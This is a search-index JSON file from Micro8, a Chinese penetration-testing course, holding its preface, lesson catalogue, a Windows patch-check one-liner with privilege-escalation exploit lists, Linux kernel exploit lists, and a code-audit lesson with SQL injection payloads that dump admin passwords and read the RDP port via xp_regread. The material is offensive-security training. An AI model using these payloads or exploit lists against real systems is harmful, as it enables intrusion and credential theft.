-
Notifications
You must be signed in to change notification settings - Fork 136
Expand file tree
/
Copy pathsearch_plus_index.json
More file actions
1 lines (1 loc) · 442 KB
/
search_plus_index.json
File metadata and controls
1 lines (1 loc) · 442 KB
1
{"./":{"url":"./","title":"前言","keywords":"","body":"非常遗憾,停止更新。愿每一个安全从业者静有所思。----2019.3.7 为什么要写 Micro8 系列 渗透攻击超十年,由于年龄,身体原因,自己感觉快要退出一线渗透攻击了。遂打算把毕生所学用文字表写出来。因为文章涉及到敏感的攻击行为,所以好多需要打马赛克,或者是本地以 demo 的形式表现出来。当这个行业做久了,你也终有一天发现原来事物的本质是如此重要。比如内网渗透的本质是信息搜集。当年某大佬把这条经验传递给我,同样,今天变成老家伙的我,也希望把这条经验传递下去。 所有课程从基础开始(包括工具的介绍,应用等,由于是基础开始,部分内容可能会涉及初级知识点,请见谅),这样以后新来的同事或者想要自我从头学习的同事也可以避开一些弯路,在写的过程中,我深深体会到分享者才是学习中的最大受益者,由于需要成文章,所以需要查阅大量的资料。在整个过程中,又学习到很多知识点。连载其中包括穿插在工作中的项目心得笔记,包括但不限制于代码审计,web渗透,内网渗透,域渗透,隧道介绍,日志溯源与暴力溯源等。如果有课程指定需求介绍相关技术的同事(在我技术能力范围之内),请发我的邮箱:micropoor@gmail.com。在 2010-2012 年之间一直在写 ,但是由于当时的工作原因,就不在写了。这次的所有课程免费分享,只希望自己可以在本来已封闭的技术氛围里,依然做出一些技术文档输出。那么这次的教程我想依然想叫 ,笔者相信有一天,你会发现原来弄清事物的本质是这样的有趣。 读者及对象 Micro8 系列适用于初中级安全从业人员,乙方安全测试,甲方安全自检,网络安全爱好者等,企业安全防护与提高。 声明 渗透测试/APT模拟攻击,是一把双刃剑,该系列遵守:免费,自由,共享,开源。请勿触犯法律,如触犯与本作者无关。当下载/传播/学习等便视为同意该条例。愿读者学有所成,问有所得,静有所思,而私有所惘。 由于开启了open投稿(支持所有人投稿加入该系列),第三方投稿如有广告/隐藏广告/小密圈/等一切收费为主的行为,请勿相信。 勘误及支持 文中难免出现笔误或者不对的地方,请大家多多包涵,提前向各位说声对不起。由于 Gitbook 正在逐步完善中,为此带来的不便请您谅解!对于存在的问题,无论是内容上的不足亦或是项目的不足,欢迎大家提交 Issues。项目地址:https://github.com/micro8/Micro8-HTML 致谢 如需指定技术诉求,也请提交 Issue(地址如上),方便在未来更新的课时中加入。再次感谢所有读者! Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-07 "},"README_EN.html":{"url":"README_EN.html","title":"Preface","keywords":"","body":"Micro8 Infiltration attack for more than ten years, due to age, physical reasons, I feel that I am about to exit the first-line penetration attack. I plan to write out the textbooks I have learned in my life. Because the article involves sensitive attack behavior, so many need to mosaic, or local manifestation in the form of demo. When the industry has been around for a long time, you will one day discover that the essence of the original things is so important. For example, the essence of intranet penetration is information gathering. At that time, a big man passed this experience to me. Similarly, I am an old guy today, and I hope to pass on this experience. There must be a clerical error or something wrong in the text. Please bear with me and say sorry to everyone in advance. All courses start from the basics (including the introduction of tools, applications, etc., since it is the foundation, some of the content may involve primary knowledge points, Please forgive me, so that new colleagues or colleagues who want to learn from scratch can avoid some detours. In the process of writing, I deeply understand that the sharer is the biggest beneficiary in learning. Article, so you need to consult a lot of information. Throughout the process, I learned a lot of knowledge points. Serialization includes notes on projects that are interspersed at work, including but not limited to code auditing, web penetration, intranet penetration, domain penetration, tunnel introduction, log traceability, and violent traceability. If you have a course specifying a colleague who needs to introduce the relevant technology (within my technical ability), please send me an email: micropoor@gmail.com. I have been writing , I believe that one day, you will find that the original essence of things is so interesting. If you need to specify a technical appeal, please leave a message below to facilitate the addition of the class in the future update. Thanks again to all readers. Directory structure, see wiki Penetration test/APT simulation attack is a double-edged sword. The Micro8 series is suitable for junior and intermediate security practitioners, Party B security testing, Party A security self-test, network security enthusiasts, etc., enterprise security protection and improvement, the series complies with: Free, free, shared, open source. Do not break the law, such as the offense is not related to the author. When downloading/transmitting/learning, etc., it is deemed to be in agreement with the regulations. I hope that the readers will learn something, ask for income, think quietly, and be private. Since open submissions are supported (supporting everyone to contribute to the series), third-party submissions such as advertising/hidden advertising/small circles/all other charges are not allowed. Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Content/Contents.html":{"url":"Content/Contents.html","title":"目录","keywords":"","body":"第一章:生 1-10课: 第一课:windows提权-快速查找exp第二课:Linux提权-依赖exp篇第三课:Delphi代码审计--项目实战1第四课:Asp代码审计--项目实战2第五课:工具介绍-Sqlmap第六课:反攻的一次溯源--项目实战3第七课:sql server 常用操作远程桌面语句第八课:模拟诉求任务攻击第九课:工具介绍-the-backdoor-factory第十课:msfvenom常用生成payload命令 11-20课: 第十一课:工具介绍Veil-Evasion第十二课:基于UDP发现内网存活主机第十三课:基于ARP发现内网存活主机第十四课:基于第十课补充payload1第十五课:基于第十课补充payload2第十六课:红蓝对抗渗透测试1第十七课:红蓝对抗渗透测试2第十八课:红蓝对抗渗透测试3第十九课:基于netbios发现内网存活主机第二十课:基于snmp发现内网存活主机 21-30课: 第二十一课:基于ICMP发现内网存活主机第二十二课:基于SMB发现内网存活主机第二十三课:基于MSF发现内网存活主机第一季第二十四课:基于MSF发现内网存活主机第二季第二十五课:基于MSF发现内网存活主机第三季 第二十六课:基于MSF发现内网存活主机第四季第二十七课:基于MSF发现内网存活主机第五季 第二十八课:基于MSF发现内网存活主机第六季第二十九课:发现目标WEB程序敏感目录第一季第三十课:解决msfvenom命令自动补全 31-40课: 第三十一课:msf的前生今世第三十二课:配置vps上的msf第三十三课:攻击Mysql服务第三十四课:攻击Sql server 服务第三十五课:与Sqlmap结合攻击第三十六课:解决vps上ssh掉线第三十七课:vbs一句话下载payload第三十八课:certutil一句话下载payload第三十九课:vbs一句话下载payload补充第四十课:ftp一句话下载payload 41-50课: 第四十一课:bitsadmin一句话下载payload第四十二课:攻击FTP服务第四十三课:js一句话下载payload第四十四课:ertutil一句话下载payload补充第四十五课:解决bat一句话下载payload黑窗第四十六课:powershell一句话下载payload第四十七课:payload分离免杀思路第四十八课:payload分离免杀思路第二季第四十九课:关于Powershell对抗安全软件第五十课:基于SqlDataSourceEnumerator发现内网存活主机 51-60课: 第五十一课:项目回忆:体系的本质是知识点串联第五十二课:渗透的本质是信息搜集第五十三课:内网渗透中的文件传输第五十四课:基于Powershell做Socks 4-5代理第五十五课:与Smbmap结合攻击第五十六课:离线提取目标机hash第五十七课:高级持续渗透-第一季关于后门第五十八课:高级持续渗透-第二季关于后门补充一第五十九课:高级持续渗透-第三季关于后门补充二第六十课:高级持续渗透-第四季关于后门 61-70课: 第六十一课:高级持续渗透-第五季关于后门第六十二课:高级持续渗透-第六季关于后门第六十三课:高级持续渗透-第七季demo的成长第六十四课:高级持续渗透-第八季demo便是远控第六十五课:离线提取目标机hash补充第六十六课:借助aspx对payload进行分离免杀第六十七课:meterpreter下的irb操作第一季第六十八课:基于Ruby内存加载shellcode第一季第六十九课:渗透,持续渗透,后渗透的本质第七十课:ftp一句话下载payload补充 71-80课: 第七十一课:基于白名单Msbuild.exe执行payload第一季第七十二课:基于白名单Installutil.exe执行payload第二季第七十三课:基于白名单Regasm.exe执行payload第三季第七十四课:基于白名单Regsvcs.exe执行payload第四季 第七十五课:基于白名单Mshta.exe执行payload第五季第七十六课:基于白名单Compiler.exe执行payload第六季第七十七课:基于白名单Csc.exe执行payload第七季第七十八课:基于白名单Msiexec执行payload第八季第七十九课:基于白名单Regsvr32执行payload第九季第八十课:基于白名单Wmic执行payload第十季 81-90课: 第八十一课:基于白名单Rundll32.exe执行payload第十一季第八十二课:基于白名单Odbcconf执行payload第十二季第八十三课:基于白名单PsExec执行payload第十三季 第八十四课:基于白名单Forfiles执行payload第十四季第八十五课:基于白名单Pcalua执行payload第十五季第八十六课:基于白名单Msiexec执行payload第八季补充第八十七课:基于白名单Cmstp.exe执行payload第十六季第八十八课:基于白名单Ftp.exe执行payload第十九季第八十九课:基于白名单Url.dll执行payload第十七季第九十课:基于白名单zipfldr.dll执行payload第十八季 91-100课: 第九十一课:从目标文件中做信息搜集第一季第九十二课:实战中的Payload应用第九十三课:与CrackMapExec结合攻击第九十四课:基于实战中的small payload第九十五课:基于Portfwd端口转发第九十六课:HTTP隧道ABPTTS第一季第九十七课:MSF配置自定义Payload控制目标主机权限第九十八课:HTTP隧道reGeorg第二季第九十九课:HTTP隧道Tunna第三季第一百课:HTTP隧道reDuh第四季 第二章:老(待更新...) 101-110课: 第一百零一课:基于SCF做目标内网信息搜集第二季第一百零二课:对抗权限长期把控-伪造无效签名第一季第一百零三课:Http加密隧道下的横向渗透尝试---klion第一百零四课:Windows Smb 欺骗重放攻击利用---klion第一百零五课:windows 单机免杀抓明文或hash [通过dump lsass进程数据]---klion第一百零六课:windows 单机免杀抓明文或hash [通过简单混淆编码绕过常规静态检测]---klion第一百零七课:跨平台横向移动 [ windows计划任务利用 ]---klion第一百零八课:跨平台横向移动 [wmi利用]---klion第一百零九课:依托 metasploit 尽可能多的发现目标内网下的各类高价值存活主机---klion第一百一十课:窃取,伪造模拟各种windows访问令牌[token利用]---klion 111-120课: 第一百一十一课:内网mssql完整利用流程 [ 基础篇 ]---klion第一百一十二课:利用Dropbox中转C2流量---klion第一百一十三课:COM Hijacking---倾旋第一百一十四课:渗透沉思录第一百一十五课:使用CrackMapExec 进行 NTLM Hash传递攻击---倾旋第一百一十六课:Windows域渗透 - 用户密码枚举---倾旋第一百一十七课:Windows 本地特权提升技巧---倾旋第一百一十八课:CVE-2017-11882钓鱼攻击---倾旋第一百一十九课:全平台高性能加密隧道 ssf---klion第一百二十课:win自带的高级网络配置管理工具深度应用 [ netsh ]---klion 121-130课: 第一百二十一课:http加密代理深度应用 [ abptts ]---klion第一百二十二课:利用 ssh隧道实现内网断网机meterpreter反向上线---klion第一百二十三课:利用ssh隧道将公网meterpreter弹至本地的msf中---klion 第三章:病(待更新...) Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Content/1-10.html":{"url":"Content/1-10.html","title":"1-10课","keywords":"","body":"第一课:windows提权-快速查找exp 第二课:Linux提权-依赖exp篇 第三课:Delphi代码审计--项目实战1 第四课:Asp代码审计--项目实战2 第五课:工具介绍-Sqlmap 第六课:反攻的一次溯源--项目实战3 第七课:sql server 常用操作远程桌面语句 第八课:模拟诉求任务攻击 第九课:工具介绍-the-backdoor-factory 第十课:msfvenom常用生成payload命令 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/1_windows提权-快速查找exp.html":{"url":"Chapter1/1_windows提权-快速查找exp.html","title":"第一课:windows提权-快速查找exp","keywords":"","body":"Windows 提权 -- 快速查找 exp 微软官方时刻关注列表网址: https://technet.microsoft.com/zh-cn/library/security/dn639106.aspx地址更新为:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017 比如常用的几个已公布的 exp: KB2592799 KB3000061 KB2592799 ... 快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下: systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i \"%i\"|| @echo %i you can fuck)&del /f /q /a micropoor.txt 注:以上需要在可写目录执行。需要临时生成micrpoor.txt,以上补丁编号请根据环境来增删。 示例 一般实战中在类似 tmp 目录等可写目录下执行:如 C:\\tmp> 以 11-080 为例: exp注: MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8) CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008) CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008) MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP) MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016) MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1) MS16-098 [KB3178466] [Kernel Driver] (Win 8.1) MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012) MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012) MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012) MS16-016 [KB3136041] [WebDAV] (2008/Vista/7) MS15-097 [KB3089656] [remote code execution] (win8.1/2012) MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012) MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012) MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012) MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012) MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8) MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2) MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8) MS14-070 [KB2989935] [Kernel Driver] (2003) MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8) MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8) MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8) MS14-002 [KB2914368] [NDProxy] (2003/XP) MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7) MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7) MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8) MS12-042 [KB2972621] [Service Bus] (2008/2012/win7) MS12-020 [KB2671387] [RDP] (2003/2008/7/XP) MS11-080 [KB2592799] [AFD.sys] (2003/XP) MS11-062 [KB2566454] [NDISTAPI] (2003/XP) MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP) MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista) MS10-092 [KB2305420] [Task Scheduler] (2008/7) MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5) MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista) MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7) MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP) MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2) MS09-050 [KB975517][Remote Code Execution] (2008/Vista) MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0) MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista) MS08-068 [KB957097] [Remote Code Execution] (2000/XP) MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008) MS08-066 [] [] (Windows 2000/XP/Server 2003) MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista) MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000) MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003) MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003) 已对外公开exp注: https://github.com/SecWiki/windows-kernel-exploitshttps://github.com/WindowsExploits/Exploitshttps://github.com/AusJock/Privilege-Escalation --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/2_Linux提权-依赖exp篇.html":{"url":"Chapter1/2_Linux提权-依赖exp篇.html","title":"第二课:Linux提权-依赖exp篇","keywords":"","body":"Linux 提权 -- 依赖 exp 篇 exp注: CVE-2017-1000367 [Sudo] (Sudo 1.8.6p7 - 1.8.20) CVE-2017-1000112 [a memory corruption due to UFO to non-UFO path switch] CVE-2017-7494 [Samba Remote execution] (Samba 3.5.0-4.6.4/4.5.10/4.4.14) CVE-2017-7308 [a signedness issue in AF_PACKET sockets] (Linux kernel through 4.10.6) CVE-2017-6074 [a double-free in DCCP protocol] (Linux kernel through 4.9.11) CVE-2017-5123 ['waitid()'] (Kernel 4.14.0-rc4+) CVE-2016-9793 [a signedness issue with SO_SNDBUFFORCE and SO_RCVBUFFORCE socket options] (Linux kernel before 4.8.14) CVE-2016-5195 [Dirty cow] (Linux kernel>2.6.22 (released in 2007)) CVE-2016-2384 [a double-free in USB MIDI driver] (Linux kernel before 4.5) CVE-2016-0728 [pp_key] (3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13,3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6,3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1) CVE-2015-7547 [glibc getaddrinfo] (before Glibc 2.9) CVE-2015-1328 [overlayfs] (3.13, 3.16.0, 3.19.0) CVE-2014-5284 [OSSEC] (2.8) CVE-2014-4699 [ptrace] (before 3.15.4) CVE-2014-4014 [Local Privilege Escalation] (before 3.14.8) CVE-2014-3153 [futex] (3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1) CVE-2014-0196 [rawmodePTY] (2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15) CVE-2014-0038 [timeoutpwn] (3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1) CVE-2013-2094 [perf_swevent] (3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4,3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3,3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9) CVE-2013-1858 [clown-newuser] (3.3-3.8) CVE-2013-1763 [__sock_diag_rcv_msg] (before 3.8.3) CVE-2013-0268 [msr] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26,2.6.27, 2.6.27, 2.6.28,2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37,2.6.38, 2.6.39, 3.0.0,3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6) CVE-2012-3524 [libdbus] (libdbus 1.5.x and earlier) CVE-2012-0056 [memodipper] (2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0) CVE-2010-4347 [american-sign-language] ( 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36) CVE-2010-4258 [full-nelson] (2.6.31, 2.6.32, 2.6.35, 2.6.37) CVE-2010-4073 [half_nelson] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24,2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33,2.6.34, 2.6.35, 2.6.36) CVE-2010-3904 [rds] (2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36) CVE-2010-3437 [pktcdvd] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36) CVE-2010-3301 [ptrace_kmod2] (2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34) CVE-2010-3081 [video4linux] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33) CVE-2010-2959 [can_bcm] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36) CVE-2010-1146 [reiserfs] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34) CVE-2010-0415 [do_pages_move] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31) CVE-2009-3547 [pipe.c_32bit] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13,2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25,2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37,2.6.15, 2.6.16, 2.6.17,2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26,2.6.27, 2.6.28, 2.6.29,2.6.30, 2.6.31) CVE-2009-2698 [udp_sendmsg_32bit] (2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19) CVE-2009-2692 [sock_sendpage] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13,2.4.14, 2.4.15, 2.4.16,2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37,2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30) CVE-2009-2692 [sock_sendpage2] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25,2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2,2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15,2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24,2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30) CVE-2009-1337 [exit_notify] (2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29) CVE-2009-1185 [udev] (2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29) CVE-2008-4210 [ftrex] (2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19,2.6.20, 2.6.21, 2.6.22) CVE-2008-0600 [vmsplice2] (2.6.23, 2.6.24) CVE-2008-0600 [vmsplice1] (2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1) CVE-2006-3626 [h00lyshit] (2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16) CVE-2006-2451 [raptor_prctl] (2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17) CVE-2005-0736 [krad3] (2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11) CVE-2005-1263 [binfmt_elf.c] (Linux kernel 2.x.x to 2.2.27-rc2, 2.4.x to 2.4.31-pre1, and 2.6.x to 2.6.12-rc4) CVE-2004-1235 [elflbl] (2.4.29) CVE-N/A [caps_to_root] (2.6.34, 2.6.35, 2.6.36) CVE-2004-0077 [mremap_pte] (2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27) 已对外公开 exp 注: https://github.com/SecWiki/linux-kernel-exploitshttps://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/https://github.com/xairy/kernel-exploits --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/3_Delphi代码审计--项目实战1.html":{"url":"Chapter1/3_Delphi代码审计--项目实战1.html","title":"第三课:Delphi代码审计--项目实战1","keywords":"","body":"Delphi 代码审计 -- 项目实战1 1、Function & Procedure Delphi 把操作数据的方法分成了两种,一种是 function,另一种是 procedure,大致理解为“函数”和“过程”。 Procedure 类似 C 语言中的无返回值函数,即 VOID。而 Function 就是 C 语言中的有返回值函数,即没有 Void。 2、连接数据库 程序分为两种连接数据库模式: 无论是本地模式,还是联网模式,都是读取,当前路径的 config.ini 配置文件: (导致敏感信息暴漏,可直连服务器) 继续跟数据库连接:配合SQL Server数据库,直接带入,可以判断出为明文存储。 3、config.ini config.ini 配置如下: 4、C/S 交互过程 基于TCP通信,SQL Server通信构架大致如下: (可导致通信过程中抓取明文执行) 5、SQL 注入 代入执行:(导致可拼接sql语句,查询任意语句或者执行命令) 部分语句其中如下: select distinct memberid,receivecompany from weigh where receivecompany is not null and receivecompany like ''%'+xxxxxx+'%'' 6、Client 软件呈现如下: 7、构造 SQL 语句 对应收货单位编号,以及收货单位名称。分别为:memberid, receivecompany。闭合语句为: 2' ; select loginid as memberid , password as receivecompany from sysuser -- 抓取返回如图: 得到admin 账号以及密码。 构造读取远程桌面端口号:得到远程服务器端口号 2' ; EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\WinStations\\RDP-Tcp', 'PortNumber' -- 8、获取缓冲区内容 copy 获取缓冲区内容: (导致可从服务器端构造代码) copy 用法如下: copy(a,b,c);a:就是copy源,就是一个字符串,表示你将要从a里copy一些东西;b:从a中的第b位开始copy(包含第11位);c:copy从第b位开始后的c个字符,exp: m:=‘the test fuck' s:=copy(m,2,2); //s值为‘he’ 当超出范围,会发生异常错误。实例中,从服务器数据库获取数据后进行 copy。 软件登陆部分代码如下:(导致可自动化跑 loginid。) 多次尝试错误处理如下:退出软件,并且重新开始计算。 --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 